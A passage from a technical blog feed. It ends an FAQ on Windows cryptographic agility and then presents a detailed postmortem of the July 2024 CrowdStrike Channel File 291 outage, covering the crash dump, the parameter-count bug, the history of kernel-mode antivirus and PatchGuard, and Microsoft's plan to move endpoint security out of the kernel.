traps. Yes -- they are complementary, not alternatives [@itm4n-runasppl]. **PPL is a same-privilege gate inside Virtual Trust Level 0 (VTL0)**: it stops a non-PPL process from opening LSASS for memory read [@ms-learn-lsa-protection]. **Credential Guard moves credential material into the `LSAIso` trustlet at VTL1**, behind the VBS / Hyper-V boundary [@ms-learn-credential-guard]. They protect against different threats and stack rather than substitute. No. The Microsoft Learn page for the CNG ML-KEM API carries an explicit "prerelease product / Windows Insider Preview" banner as of mid-2026 [@ms-learn-cng-mlkem-examples]. The primitive ships in SymCrypt v103.5.0 and later [@symcrypt-changelog]; the CNG and SChannel surfaces are rolling through the Insider channel. Track the Microsoft Tech Community PQC posts for OS-channel GA announcements [@ms-tech-community-pqc][@ms-tech-community-pqc-companion]. On Windows, yes. On Linux .NET delegates `SslStream` to OpenSSL; on macOS it uses Apple's Network framework. PQC support follows the underlying stack, so the same .NET binary's TLS posture differs by host OS in mid-2026. Because the *agility property* the article is about is anchored to CNG, which shipped in Vista in January 2007 [@ms-learn-cng-portal] -- about nineteen years to mid-2026. Pre-CNG SChannel was not algorithm-agile in any meaningful sense: primitives were baked into CryptoAPI 1.0 CSP DLLs, ECC could not be expressed in the `ALG_ID + key BLOB` model at all, and adding a new algorithm required a CSP rev plus an OS release. CNG is when "rotate every cipher" stopped being a slogan and started being a property the substrate could deliver. The thirty-year framing would be arithmetically accurate but argumentatively wrong.

The Microsoft TLS stack has spent twenty years proving that one architectural decision -- decouple algorithms from DLLs, addressed by string identifier through a stable provider model -- can carry a vendor through every primitive rotation cryptography throws at it. The receipts now include a post-quantum hybrid key exchange that runs through the same dispatch path Vista shipped in 2007. The next test, the signature-side PQC transition, is already in flight inside SymCrypt. Whatever the world chooses to do with those primitives, the substrate is ready.

Seventy-Eight Minutes That Evicted Antivirus From the Windows Kernel

noreply@paragmali.com (Parag Mali) — Tue, 02 Jun 2026 00:00:00 GMT

At 04:09 UTC on July 19, 2024, a CrowdStrike Falcon channel-file update -- not a driver update, but a small data file consumed by an in-kernel interpreter -- crashed approximately 8.5 million Windows hosts in seventy-eight minutes. The technical bug was a parameter count mismatch the content validator missed; the architectural bug was that the dangerous code was already in the kernel. Microsoft's response, the Windows Resiliency Initiative, commits to a multi-year migration of third-party endpoint security out of kernel mode -- a Vista-era idea finally given political license to ship. Whether user-mode EDR with hypervisor-assisted introspection can match twenty-five years of kernel-mode hooking coverage is the article's open architectural question, and the honest mid-2026 answer is "we do not yet know."

1. 04:09 UTC, Friday, July 19, 2024

At 04:09 UTC on Friday, July 19, 2024, a CrowdStrike Falcon Cloud release pipeline pushed a Rapid Response Content file -- not a sensor binary, not a driver update, but a small piece of data named in the C-00000291-*.sys channel-file naming convention -- to the production rollout channel for Falcon Sensor on Windows [@cs-pir-2024-07-24]. The release engineer at the rollout console saw the indicator move from staging to production. Sixty-six minutes later, by Microsoft's own count, approximately 8.5 million Windows hosts had bug-checked and were either rebooting into a kernel panic or already stuck in one [@ms-bradsmith-2024-07-20]. Delta and United pulled gates. The U.K. National Health Service diverted patients away from impacted trusts. Public-safety answering points went degraded across several U.S. states [@crs-if12717-everycrsreport]. CrowdStrike's release pipeline reverted the bad content at 05:27 UTC -- seventy-eight minutes after it had been pushed -- and the rollout indicator on the CrowdStrike side went from red back to green [@cs-pir-2024-07-24]. The rollout indicator on every customer machine that had already received the bad content went, and stayed, blue. The dangerous code was already in the kernel; the update had only handed it a fatal input.

That single fact -- that a content update could brick eight and a half million machines without the code path that consumed the content ever being treated as a code path -- is the whole reason this article exists.

The numbers, anchored to primary sources

Brad Smith, Microsoft's vice chair and president, published his "8.5 million Windows devices" figure on July 20, 2024 -- the morning after the incident -- and the phrase is unchanged in any Microsoft document since: "we currently estimate that CrowdStrike's update affected 8.5 million Windows devices, or less than one percent of all Windows machines" [@ms-bradsmith-2024-07-20]. The U.S. Government Accountability Office later framed the incident as "potentially one of the largest IT outages in history" [@gao-24-107733]. The U.S. Cybersecurity and Infrastructure Security Agency opened a running advisory the same day, anchored to its own July 19, 2024 alert, that has been updated continuously since [@cisa-alert-2024-07-19]. The Congressional Research Service's IF12717 brief lays out the public-safety blast radius -- FAA ground stops, 911 PSAP degradation, hospital systems falling back to paper -- and Adam Meyers, CrowdStrike's Senior Vice President for Counter Adversary Operations, was sworn in before the House Homeland Security Committee's Cybersecurity Subcommittee on September 24, 2024 to answer for it [@crs-if12717-everycrsreport, @homeland-hearing-page, @cyberscoop-meyers].

The fault, as Microsoft's dump shows it

Eight days after the outage, on July 27, 2024, Microsoft's security team published a primary-source post-mortem [@ms-secblog-2024-07-27]. The dump's load-bearing fields, condensed and relabeled below for readability (Microsoft's actual labels are READ_ADDRESS, IMAGE_NAME, FAULTING_MODULE, with the faulting instruction inside the .trap disassembly and KiPageFault inside the stack trace):

READ_ADDRESS: ffff840500000074 Paged pool
IMAGE_NAME:   csagent.sys
FAULTING_IP:  csagent+e14ed
              mov  r9d, dword ptr [r8]
CALLED_FROM:  nt!KiPageFault+0x369

Read low to high, every line answers a different question. csagent.sys is the CrowdStrike Falcon kernel driver. csagent+e14ed is the offset of the faulting instruction inside that driver. mov r9d, dword ptr [r8] is that instruction -- a single x86-64 move that loads a 32-bit value from the memory address in register r8 into register r9d. The address in r8 was 0xffff840500000074, in the high half of the kernel virtual address space, which the labelling "Paged pool" suggests the memory manager classifies as paged kernel memory -- but at that specific virtual address, on this machine, at this instant, no page table entry mapped a physical page. The CPU raised a page fault. Windows delivered the fault to nt!KiPageFault+0x369. The kernel bug-checked with PAGE_FAULT_IN_NONPAGED_AREA [@ms-secblog-2024-07-27, @ms-bradsmith-2024-07-20].

There is one piece of information the WinDBG dump does not publish, and the article is going to be careful about it: the IRQL value at the moment of the fault. No primary source records whether csagent.sys was at PASSIVE_LEVEL, APC_LEVEL, DISPATCH_LEVEL, or higher when the page fault triggered. What every primary source agrees on is the consequence: the fault occurred at an interrupt request level high enough that the kernel could not unwind to a structured exception handler in any meaningful way, and the operating system stopped. Treat any third-party post that asserts a specific IRQL value for Channel File 291 as speculation unless it cites a primary source that publishes the value.

sequenceDiagram participant Cloud as Falcon Cloud Rollout participant Sensor as Falcon Sensor (user mode) participant Driver as csagent.sys (kernel) participant Kernel as Windows Kernel participant Disk as Local Disk Cloud->>Sensor: 04:09 UTC push of Channel File 291 Sensor->>Disk: Persist channel file Sensor->>Driver: Load Template Instance into in-kernel interpreter Driver->>Driver: Index 21st parameter slot Driver->>Kernel: Dereference unmapped kernel address 0xffff840500000074 Kernel->>Kernel: nt!KiPageFault, then bug check 0x50 Note over Kernel: PAGE_FAULT_IN_NONPAGED_AREA, host blue screens Cloud->>Cloud: 05:27 UTC, revert bad content Note over Cloud,Disk: New hosts are saved, already-affected hosts are not Disk->>Driver: On reboot, csagent.sys re-reads the persisted file Driver->>Kernel: Same fault path executes again

The persistence-across-reboot pathology is the part most contemporary coverage understated. CrowdStrike reverted the bad content from the cloud rollout pipeline 78 minutes after pushing it [@cs-pir-2024-07-24]. But the file was already on disk on every machine that had received it. On reboot, csagent.sys loaded again, parsed the persisted file again, and bug-checked again. The fix required either a manual safe-mode deletion -- the canonical "boot, delete C-00000291*.sys, reboot" runbook that circulated on Reddit, social media, and vendor advisories that morning -- or, later, Microsoft's purpose-built recovery tool [@mslearn-qmr].

That is what happened. The next question -- the one this article exists to answer -- is why the dangerous code was already in the kernel in the first place, what twenty-five years of architectural decisions put it there, and what it took to begin to undo those decisions. To get there, we have to start in 1999.

2. Why Antivirus Lives in the Kernel

Imagine you are a security engineer in 1999. Your assignment is to detect a virus that has installed itself between the user-mode file APIs and the on-disk file system, so that when a scanner running as a user reads the file, the virus serves up a clean copy of the bytes and hides the infected ones. Where do you put the observer?

If you think about it for a minute, you converge on the same answer Microsoft, Symantec, Network Associates, Trend Micro, and every other antivirus vendor converged on in the late 1990s: you put the observer below the thing that is lying. In Windows terms, "below" means kernel mode. On x86, that is Ring 0. In NT terminology, that is the privilege level at which all the operating system primitives -- the file system, the process manager, the memory manager -- actually live.

A per-processor priority value Windows uses to gate code execution against hardware and software interrupts. Code running at PASSIVE_LEVEL (zero) can be preempted by almost anything; code running at DISPATCH_LEVEL or higher cannot take page faults on pageable memory and must complete quickly. Kernel drivers must obey strict IRQL rules; violations -- such as touching pageable memory at DISPATCH_LEVEL -- produce immediate bug checks rather than recoverable exceptions.

The 1999 to 2003 transition

The first generation of Windows antivirus, on Windows 9x and NT 4.0, ran almost entirely in user mode and lost the argument with the first rootkits to ship in the wild. A scanner that runs in the same protection ring as the malware it is hunting cannot, by construction, see what the malware has chosen to hide from anything in that ring. The fix, by the late 1990s and the early 2000s, was to push the scanner into Ring 0.

Two specific Windows kernel primitives carried that fix.

The first was the minifilter: a kernel driver attached to the I/O manager's file system stack at a specific altitude, intercepting IRP_MJ_CREATE, IRP_MJ_READ, IRP_MJ_WRITE, and friends, so the antivirus could examine the file before the file system returned the bytes to user mode [@mslearn-filter-drivers]. Microsoft formalized the Filter Manager as the supported way to do this -- and by the mid-2000s the legacy sfilter model was deprecated in favor of the structured minifilter model. Every shipping Windows antivirus in 2026 still has a minifilter driver loaded as part of its boot-time stack.

A kernel driver registered through the Windows Filter Manager that attaches to one or more file system volumes at a specific *altitude* (a Microsoft-assigned numeric priority) and receives pre-operation and post-operation callbacks for each file system operation. Antivirus minifilters use this hook point to scan a file before user-mode code sees the bytes returned from disk.

The second was the process-create kernel callback. Beginning with Windows 2000 and extended for synchronous block authority in Windows Vista SP1 (alongside Windows Server 2008), the documented function PsSetCreateProcessNotifyRoutine (and later PsSetCreateProcessNotifyRoutineEx) lets a kernel driver register to be called whenever the kernel is about to create a new process, with the option in the extended variant to set CreationStatus = STATUS_ACCESS_DENIED and synchronously block the create [@mslearn-pssetcreateprocessnotifyroutine, @mslearn-pssetcreateprocessnotifyroutineex]. This is the kernel primitive that lets an EDR vendor say "process X is about to spawn cmd.exe with these arguments, and we are denying the create" without ever exiting the kernel. Companion callbacks exist for image-load events, thread-create events, registry operations [@mslearn-cmregistercallback], and handle-access events [@mslearn-obregistercallbacks]. Together they form the documented Generation-2 vendor API surface for EDR primitives, the architectural substrate every modern Windows EDR sits on top of.

The rootkit pressure

The second pressure that pushed antivirus down into the kernel came from the attackers themselves. By the mid-2000s, kernel-mode rootkits were a routine part of the malware writer's toolkit. The most pernicious variants used a technique called Direct Kernel Object Manipulation: instead of installing themselves anywhere a defender could observe via documented APIs, they walked Windows internal data structures and unlinked themselves from the lists the operating system traversed when answering questions like "what processes are running?" or "what kernel modules are loaded?"

A rootkit technique that modifies in-memory Windows kernel data structures directly -- for example, unlinking an `EPROCESS` block from the active process list so that `nt!PsActiveProcessHead` traversal does not enumerate the malicious process. Because the modification is invisible to any code that asks the kernel to enumerate via the documented APIs, the only defenders that can see DKOM are those that walk kernel memory authoritatively from a vantage equal to or below the rootkit itself.

To catch a Ring-0 rootkit, you needed a Ring-0 defender. Symantec, McAfee, Trend Micro, and Kaspersky all converged on the same answer in the early 2000s, and every commercial Windows EDR architecture in 2026 still reflects that convergence.The lineage from DOS-era signature scanners (one-process, no privilege boundary) through Win9x scanners (no privilege boundary either) through NT-era minifilters (a privilege boundary, with the scanner across the boundary from the malware) to 2024-era in-kernel content interpreters (a privilege boundary, with the scanner and a rule engine and an unsigned content channel all on the same side of the boundary) is a small case study in how an architecture persists long after the original constraints relax.

Architectural decisions made under one set of constraints have a way of outliving the constraints that produced them. The 1999 decision to put antivirus in the kernel was rational at the time -- it was the only place from which you could authoritatively see what a process or a file system actually did. Twenty-five years later, that decision produced csagent.sys running in Ring 0 on 8.5 million machines, indexing past the end of a parameter array on a Friday morning in July.

But the move into the kernel did not go uncontested. Microsoft itself spent two years between 2005 and 2007 trying to claw back at least part of that ground. The first attempt was called Kernel Patch Protection, and the political fight it produced is the story of the next section.

3. The Vista PatchGuard Battle, 2005-2007

Either everybody has access to the kernel, or nobody does. -- Stephen Toulouse, Microsoft senior product manager, InformationWeek, October 2006 [@informationweek-2006-toulouse]

The political question at the heart of this article is twenty years old. It is also binary in a way that very few political questions ever are: Microsoft's stated position in 2006 was not "we will permit some vendors to modify the kernel and deny others," nor "we will run an accreditation scheme," nor "we will charge for kernel-mode signing certificates." The stated position was that either every vendor on Earth could modify the Windows kernel or no vendor could, and the only stable answer was the second one. That argument, made by a Microsoft senior product manager in trade press in 2006, reverberates without modification into the November 2024 Windows Resiliency Initiative announcement.

What Kernel Patch Protection actually does

Kernel Patch Protection -- commonly called PatchGuard -- shipped with x64 editions of Windows XP, Windows Server 2003 Service Pack 1, and the launch x64 edition of Windows Vista, beginning in 2005 [@wiki-kpp]. Microsoft updated it in August 2007 via Security Advisory 932596, which is the canonical Microsoft primary document for the program [@ms-advisory-932596].

A Windows kernel feature on x64 builds that periodically verifies the integrity of selected critical kernel structures -- the System Service Descriptor Table (SSDT), the Interrupt Descriptor Table (IDT), the Global Descriptor Table (GDT), the kernel image, the Hardware Abstraction Layer (HAL), and the NDIS network stack. If PatchGuard detects modification it triggers bug check `0x109` `CRITICAL_STRUCTURE_CORRUPTION` and the operating system stops [@wiki-kpp].

What PatchGuard does is enforce an invariant: third-party code may not modify a specific list of kernel data structures, and if it does, the system bug-checks. What PatchGuard does not do is prevent third-party drivers from loading. PatchGuard is a structural integrity check, not a load-time policy. The Vista-era plan was for vendors to migrate from inline hooks of the SSDT to the documented callback APIs of the previous section -- PsSetCreateProcessNotifyRoutine, ObRegisterCallbacks, CmRegisterCallback, the Filter Manager [@mslearn-pssetcreateprocessnotifyroutine, @mslearn-obregistercallbacks, @mslearn-cmregistercallback, @mslearn-filter-drivers] -- and csagent.sys is the lineal descendant of that migration: a fully documented, fully callback-based, fully Generation-2 driver. PatchGuard did exactly what it was designed to do, and csagent.sys was perfectly compatible with it.

The political fight

Symantec and McAfee did not see it that way in 2005. To them, PatchGuard was Microsoft using a security feature to advantage its own emerging Microsoft Forefront Client Security antivirus product against the entire third-party industry. The complaint escalated to the European Commission in October 2006 [@wiki-kpp]. Stephen Toulouse, then a Microsoft senior product manager, replied in InformationWeek with the line that anchors this section: "Either everybody has access to the kernel, or nobody does. Malware writers exploit the same interfaces to access Windows kernel, a threat that Microsoft says outweighs the benefits. Modifying the kernel also compromises Windows performance, according to the company" [@informationweek-2006-toulouse]. Microsoft's binary-symmetry position was that any vetting scheme -- "trusted vendors get kernel access" -- would simply produce malware that pretended to be a trusted vendor. The only stable equilibria were "everyone" and "no one." Microsoft chose "no one for the things PatchGuard protects," and then opened a parallel migration path of documented callback APIs as the supported alternative.

The Symantec and McAfee complaints in 2006 were filed in the wake of Microsoft's own 2005 entry into the corporate antivirus market with what became Forefront Client Security. The trade press read it as the same competitive grievance Netscape filed against Microsoft a decade earlier: a platform owner introducing first-party products into a market the platform owner also regulated. Gartner's John Pescatore framed the worry, quoted in the same InformationWeek piece, as Microsoft becoming *"the layer between the user and the security products"* [@informationweek-2006-toulouse]. The European Commission opened an inquiry; Microsoft compromised by documenting the callback APIs and shipping the August 2007 update to KPP [@ms-advisory-932596]. The two AV vendors stayed in business; their kernel hooks moved from SSDT patches to `PsSetCreateProcessNotifyRoutine` calls. Twenty years later, the same two vendors -- both still selling Windows EDR products -- are now publicly endorsing Microsoft's move to take *all* third-party EDR out of the kernel. The political ground really has shifted; we will see by how much in section 6.

The lesson Microsoft drew, and the lesson it did not yet draw

The 2005 to 2007 round produced a real, durable architectural lesson: documented APIs are stabler than hooks. A vendor who wrote a driver that called PsSetCreateProcessNotifyRoutineEx could rely on Microsoft to preserve the API across Windows builds. A vendor who wrote a driver that patched the SSDT pointer table directly could rely on the next Windows service pack to break it without warning, or now on PatchGuard to bug-check the host. Every shipping Windows EDR in 2026 lives downstream of that lesson -- their kernel drivers use the documented callback APIs and they do not patch kernel structures inline.

But there was a second lesson Microsoft did not draw in 2005. The PatchGuard fight was about technique (do not patch the SSDT) and it stopped there. It did not pose the deeper question: should third-party kernel drivers exist at all for AV? That question -- whether vendor-authored Ring-0 code is a fleet-scale reliability liability regardless of whether it hooks or uses callbacks -- was visible in principle in 2005 and ignored. Microsoft would not pose it publicly for another nineteen years. What changed, in the meantime, was a slow drip of failures that should have made the question unavoidable and somehow did not. That drip is the subject of section 4.

4. Fourteen Years of Kernel-Driver Disasters

If the kernel-mode antivirus architecture was a 1999 design choice, you would expect it to have aged badly. It did. The pattern played out generation after generation, vendor after vendor, year after year, with the same general shape: a vendor pushed content; the vendor kernel driver consumed the content; the content had a bug the validator missed; the driver crashed the kernel; the fleet went down. The most consequential single instance of the pattern, before July 19, 2024, happened on April 21, 2010 with McAfee VirusScan and a daily virus definition update named DAT 5958.

McAfee DAT 5958, April 21, 2010

McAfee shipped its 5958 DAT file. The file misidentified svchost.exe -- the legitimate Windows service host -- as W32/Wecorl.a, a network worm. The McAfee kernel driver quarantined svchost.exe per the false positive. On Windows XP SP3 fleets at hospitals, police departments, schools, and government agencies across the U.S., the result was an immediate reboot loop and total loss of networking [@uscert-mcafee-2010, @sans-isc-8656, @askperf-mcafee].

US-CERT's contemporaneous advisory captured the failure mode in a single sentence: "US-CERT is aware of public reports indicating that McAfee DAT release 5958 is incorrectly identifying the valid system file, C:\Windows\system32\svchost.exe, as containing malicious code... Symptoms include a denial-of-service condition when the McAfee software attempts to clean the file" [@uscert-mcafee-2010]. SANS's Internet Storm Center noted the same morning that "DAT file version 5958 is causing widespread problems with Windows XP SP3. The affected systems will enter a reboot loop and lose all network access" [@sans-isc-8656]. Microsoft's own AskPerf team, in a TechCommunity post dated April 21, 2010, walked through the recovery steps and the EXTRA.DAT remediation [@askperf-mcafee].

Here is the structural point, and it matters enormously for the rest of this article: the McAfee driver was doing nothing PatchGuard would have prevented. It was a fully Generation-2 design, using documented kernel callback APIs, with no inline kernel patching whatsoever. The 2005 PatchGuard fight was politically irrelevant to the 2010 McAfee outage, because PatchGuard was answering a different question -- "does the vendor patch SSDT entries inline?" -- when the question that produced the McAfee outage was "does the vendor's signed, callback-using, fully-supported kernel driver act on data that turns out to be wrong?" The 2005 fix did not address the 2010 fault.

Key idea: McAfee 2010 and CrowdStrike 2024 are architecturally identical: a vendor pushed content; the vendor kernel driver consumed the content; the content was wrong in a way that the validator did not catch; the driver crashed the fleet. The 2005 PatchGuard fight had been about a different problem entirely. The architecture that produced both failures -- "vendor-authored Ring-0 code consuming cloud-pushed updates" -- was untouched by the 2005 fix and would not be touched again until 2024.

The mid-2010s tail

Between 2010 and 2024 the same pattern reappeared at smaller scale, episodically, across the vendor cohort. Symantec, Trend Micro, Kaspersky, and Sophos each shipped at least one driver or definition update during this period that produced blue-screen reports on customer fleets. The Three Buddy Problem podcast, recorded on July 19, 2024 in the immediate aftermath of the CrowdStrike outage, opens with Costin Raiu drawing the line back from 2024 to 2010 explicitly: the lesson the industry promised itself after McAfee 5958 was staged rollouts, and the lesson the industry actually implemented was insufficient [@three-buddy-ep5].Raiu's framing on the podcast -- "we had this exact discussion in 2010, and the answer everyone agreed on was staged rollouts, and here we are again" -- is the cleanest single-sentence retrospective from inside the industry. The same week, Patrick Wardle was making the same point with macOS-side framing on his Objective-See blog [@wardle-objsee-0x7b] and at the August 2024 Black Hat USA talk whose slides he later published [@wardle-speakerdeck].

The Apple natural experiment, September 2024

Two months after CrowdStrike Channel File 291, Apple shipped macOS 15 Sequoia on September 16, 2024 with deprecated Application Firewall property-list interfaces [@bleepingcomputer-sequoia]. CrowdStrike Falcon for macOS, ESET Endpoint Security, Microsoft Defender for Mac, and SentinelOne all broke their network filtering [@securityweek-sequoia, @bleepingcomputer-sequoia]. Apple shipped macOS 15.0.1 on October 3, 2024, seventeen days later, restoring compatibility [@techcrunch-sequoia]. The TechCrunch report has Patrick Wardle on the record, framing the architectural difference in one line: "a fix for the networking issues that plagued the initial macOS 15 release... And to any Apple apologist who blamed 3rd-party vendors, you deserve to be slapped with a large trout as this was an Apple bug reported before GM" [@techcrunch-sequoia].

That second sentence is the load-bearing one. The Sequoia bug was a 1st-party regression in the framework boundary between macOS and third-party endpoint security tools. It degraded EDR features substantially -- network filtering disappeared on every affected host -- but no host kernel-panicked. None of the affected EDR vendor processes brought down macOS. None of the affected hosts entered a reboot loop. The same general failure mode as Channel File 291 produced a fundamentally different blast radius, and the only reason for the difference is architectural: Apple had moved third-party endpoint security out of macOS kernel mode in 2019 with the Endpoint Security framework [@apple-esf-docs]. We will return to ESF in section 7.

The macOS 15 Sequoia outage and the Windows Channel File 291 outage occurred within ten weeks of each other and shared the same general structure: a 1st-party platform event meeting a third-party security product loaded for runtime introspection. The Windows event panicked the kernel on 8.5 million hosts. The macOS event produced a feature regression that vendors patched out within three weeks and Apple repaired in 15.0.1. The two events are the article's strongest single comparative datum that architecture, not vendor reliability, was the variable. timeline title Recurring kernel-driver and platform faults, 2005 to 2024 2005 : PatchGuard ships on Windows x64 : Symantec and McAfee escalate antitrust complaints 2010 : McAfee DAT 5958 quarantines svchost.exe on Windows XP SP3 : Fleet-scale reboot loops at hospitals, police, schools 2014 : Various smaller vendor BSOD events in the long tail 2019 : Apple ships macOS Catalina Endpoint Security framework : Third-party AV deprecated from kernel mode on macOS 2024 : CrowdStrike Channel File 291 on July 19, 8.5M hosts : Apple ships macOS 15 Sequoia on September 16 : macOS 15.0.1 restores AV compatibility on October 3 2024 : Microsoft Ignite announces Windows Resiliency Initiative on November 19

CrowdStrike Channel File 291, July 19, 2024

By July 2024 the cumulative evidence had been building for fourteen years that vendor-authored Ring-0 code was a fleet-scale reliability liability. What was different about Channel File 291 was not the kind of failure but the scale and the cost: 8.5 million hosts on Windows in 2024 versus what was likely a six-or-seven-figure XP SP3 fleet on McAfee in 2010, and a cost calculus that included Delta Air Lines, the U.K. NHS, multiple state 911 systems, and the global air-traffic-control flow that depends on Microsoft Windows running healthy [@cs-pir-2024-07-24, @gao-24-107733, @crs-if12717-everycrsreport]. The political license to do something architectural had finally arrived. What it took, in real-world failures, to surface the architectural answer was not new evidence -- the evidence had been overwhelming for years -- but a single event large enough to make the political cost of not changing untenable.

So: what exactly happened inside csagent.sys on the morning of July 19, 2024? That technical reconstruction is the centerpiece of this article, and it occupies the next section.

5. Inside Channel File 291

The technical centerpiece. Start by staring at the same five-field summary, reformatted from Microsoft's July 27, 2024 crash-dump walkthrough [@ms-secblog-2024-07-27]:

READ_ADDRESS: ffff840500000074 Paged pool
IMAGE_NAME:   csagent.sys
FAULTING_IP:  csagent+e14ed
              mov  r9d, dword ptr [r8]
CALLED_FROM:  nt!KiPageFault+0x369

Reading from low to high address, every line of that summary answers a different question. The complete line-by-line walkthrough is folded into the spoiler later in this section. First we have to understand what csagent.sys was trying to do when it ran the instruction.

The Windows bug check raised when kernel code attempts to read from or write to a virtual address that has no valid mapping in the page tables. The "nonpaged area" naming is historical -- the bug check fires whenever any kernel-mode access touches an unmapped virtual address, regardless of which memory pool the address would have lived in if it had been valid.

What `csagent.sys` was trying to do

csagent.sys is the CrowdStrike Falcon Sensor kernel driver, the Ring-0 component that has been part of the Falcon product since its earliest Windows releases. By 2024, this driver did considerably more than mediate file I/O and process creation. According to CrowdStrike's own Root Cause Analysis published on August 6, 2024, csagent.sys includes a Content Interpreter that runs at kernel privilege and consumes binary detection rules shipped from the Falcon Cloud [@cs-rca-2024-08-06]. CrowdStrike's terminology distinguishes two kinds of content delivery: Sensor Content, which is bundled with each released sensor binary and updates at the sensor release cadence; and Rapid Response Content, which is delivered via channel files like Channel File 291 and updates at a much faster cadence to keep ahead of novel adversary behavior [@cs-pir-2024-07-24]. Channel files are treated as data, not code -- but they are consumed by the Content Interpreter, which is code, running in the kernel.The Sensor Content versus Rapid Response Content distinction is the architectural detail that determines why a content update could reach the kernel at all. Sensor Content is signed and version-bumped together with the driver binary; Rapid Response Content is pushed independently and rapidly. The Falcon architecture used the Rapid Response Content channel to deliver Template Instances against a Template Type schema that the in-kernel Content Interpreter parsed. The channel-file delivery path bypassed the WHQL driver-signing scrutiny that the driver binary itself had received [@cs-pir-2024-07-24].

The CrowdStrike Falcon Sensor subsystem, resident inside `csagent.sys` at kernel privilege, that parses Rapid Response Content channel files at runtime. The interpreter reads a Template Instance (a binary payload of detection rules) and evaluates it against the corresponding Template Type schema declared in the sensor's compiled code. Detection rules thus take effect on a host whenever a new channel file is pushed from the Falcon Cloud, with no sensor binary update required.

The bug, exactly

CrowdStrike's RCA names the failure mode in plain language [@cs-rca-2024-08-06]. The IPC Template Type was introduced in Falcon sensor version 7.11, released on February 28, 2024. The IPC Template Type declares 21 input parameter fields. The sensor's integration code that fed the in-kernel Content Interpreter for this Template Type supplied only 20 input values -- one fewer than the schema declared. The Content Validator that was responsible for verifying each shipped Template Instance against its Template Type schema did not catch the count mismatch. From February 28 to July 19, all Template Instances against this Template Type happened to use a wildcard matcher on the 21st field, and the unmapped field went unread; the bug was latent for almost five months. On July 19, 2024, the deployed Template Instance for the first time used a non-wildcard matcher on the 21st field. At runtime on every Windows host with the affected Falcon sensor configuration, csagent.sys's Content Interpreter indexed into the 21st parameter slot and dereferenced past the end of the input array [@cs-rca-2024-08-06].

The faulting instruction was the mov r9d, dword ptr [r8] that Microsoft's July 27 post reproduces. The pointer in r8 was the unmapped kernel address 0xffff840500000074. The CPU page-faulted. The fault was delivered to nt!KiPageFault+0x369. The kernel bug-checked with PAGE_FAULT_IN_NONPAGED_AREA [@ms-secblog-2024-07-27].

- `READ_ADDRESS: ffff840500000074 Paged pool`. The virtual address the faulting instruction tried to read. The `ffff8405...` prefix is the high half of the x86-64 canonical address space -- on Windows, conventionally kernel virtual memory. The "Paged pool" label is the memory manager's classification of where the address would have lived if it had been mapped. At this instant, it was not. - `IMAGE_NAME: csagent.sys`. The kernel module containing the faulting instruction. This is the CrowdStrike driver. - `FAULTING_IP: csagent+e14ed`. The offset of the instruction inside `csagent.sys`. `e14ed` is the relative virtual address of the function reading the parameter slot. - `mov r9d, dword ptr [r8]`. The instruction itself: load a 32-bit value (`dword`) from the address in `r8` into the lower 32 bits of `r9`. This is one of the cheapest x86-64 memory loads possible; the bug is not in the instruction but in the value of `r8`. - `CALLED_FROM: nt!KiPageFault+0x369`. The point of return into the kernel's fault handler. `KiPageFault` is the standard #PF interrupt handler in `ntoskrnl.exe`. When the page fault could not be satisfied (no mapping for the requested address), `KiPageFault` raised the bug check that stopped the system.

About the IRQL -- the part of the post-mortem this article is most careful with. As §1 established, no public CrowdStrike RCA or Microsoft secblog post publishes the IRQL value at the moment of the fault [@ms-secblog-2024-07-27, @cs-rca-2024-08-06]. The article will not assert DISPATCH_LEVEL or any other specific value, because no primary source establishes one. Treat any third-party reconstruction that names the IRQL as speculation unless it cites a primary source.

sequenceDiagram participant Cloud as Falcon Cloud participant Sensor as Falcon Sensor (user mode) participant CI as Content Interpreter (csagent.sys) participant TT as Template Type schema, in driver participant TI as Template Instance, from channel file participant Kernel as Windows Kernel Cloud->>Sensor: Push Channel File 291 (Rapid Response Content) Sensor->>CI: Hand Template Instance to in-kernel interpreter CI->>TT: Read schema declaring 21 input parameter fields CI->>TI: Bind Template Instance values to schema fields Note over CI,TI: Integration code supplied 20 values, schema expected 21 Note over CI,TI: Content Validator did not catch the count mismatch CI->>TI: Index into 21st field for non-wildcard match CI->>Kernel: Read at unmapped kernel address 0xffff840500000074 Kernel->>Kernel: nt!KiPageFault, bug check 0x50 raised Note over Kernel: Operating system stops, host blue screens

Why a content update can crash a kernel driver

This paragraph is doing the load-bearing work of the entire article, and it deserves to be read slowly. The Falcon driver's code received WHQL signing scrutiny when CrowdStrike submitted each release of csagent.sys to Microsoft. The driver's content updates -- the channel files like Channel File 291 -- did not. The driver was architected so that data updates could drive new detection behavior without a driver release. Therefore the data file became the trust boundary. When the data file was malformed in a way the Content Validator missed, the entire WHQL signing scrutiny of the driver was effectively bypassed -- because the bug was triggered by a fully-signed driver consuming an unsigned data input that no one had validated against the driver's actual runtime expectations.

Note: The architectural lesson of Channel File 291 is not "kernel drivers are unsafe." It is that in modern EDR architectures, the cadence of content updates vastly outruns the cadence of code review, and when the content is interpreted in kernel context, the content becomes a kernel input. The trust boundary moved from the signed driver to the unsigned data file, and the industry had not named that movement before July 19, 2024. Microsoft Virus Initiative 3.0, which we will meet in section 6, names it explicitly and requires partners to engineer for it.

To make the abstract count-mismatch tangible for the reader who has never written a parser, here is the bug in a stripped JavaScript model. The JavaScript model does what every memory-safe runtime does -- it throws cleanly when you index past the end of an array -- but the comment in the unsafe branch describes the C / kernel reality: the read just returns whatever bytes happen to live at the out-of-bounds address, which on Windows kernel memory means an unmapped page and a PAGE_FAULT_IN_NONPAGED_AREA bug check.

{` // Model of the in-kernel Content Interpreter from CrowdStrike's RCA. // Template Type schema declares 21 fields; integration code supplied 20. // On July 19, 2024, the deployed Template Instance for the first time // used a non-wildcard matcher on the 21st field.

const schema = { fieldCount: 21 }; const instance = { values: Array.from({length: 20}, (_, i) => 'v' + i) };

// Memory-safe runtime catches the mismatch: try { runInterpreter(schema, instance, true); } catch (e) { console.log('SAFE:', e.message); }

// Unsafe model showing what the in-kernel C interpreter would do: runInterpreter(schema, instance, false); `}

The runnable model is doing one job: making the abstract "20 of 21" fault mode visible. In a memory-safe runtime, the validator (the runtime itself) catches the mismatch and throws. In a C kernel driver with no runtime validator, the load just happens, and whatever is at the out-of-bounds address is read. On csagent.sys on every affected Windows host on July 19, 2024, what was at the out-of-bounds address was an unmapped page, and the read fired PAGE_FAULT_IN_NONPAGED_AREA.

The persistence problem

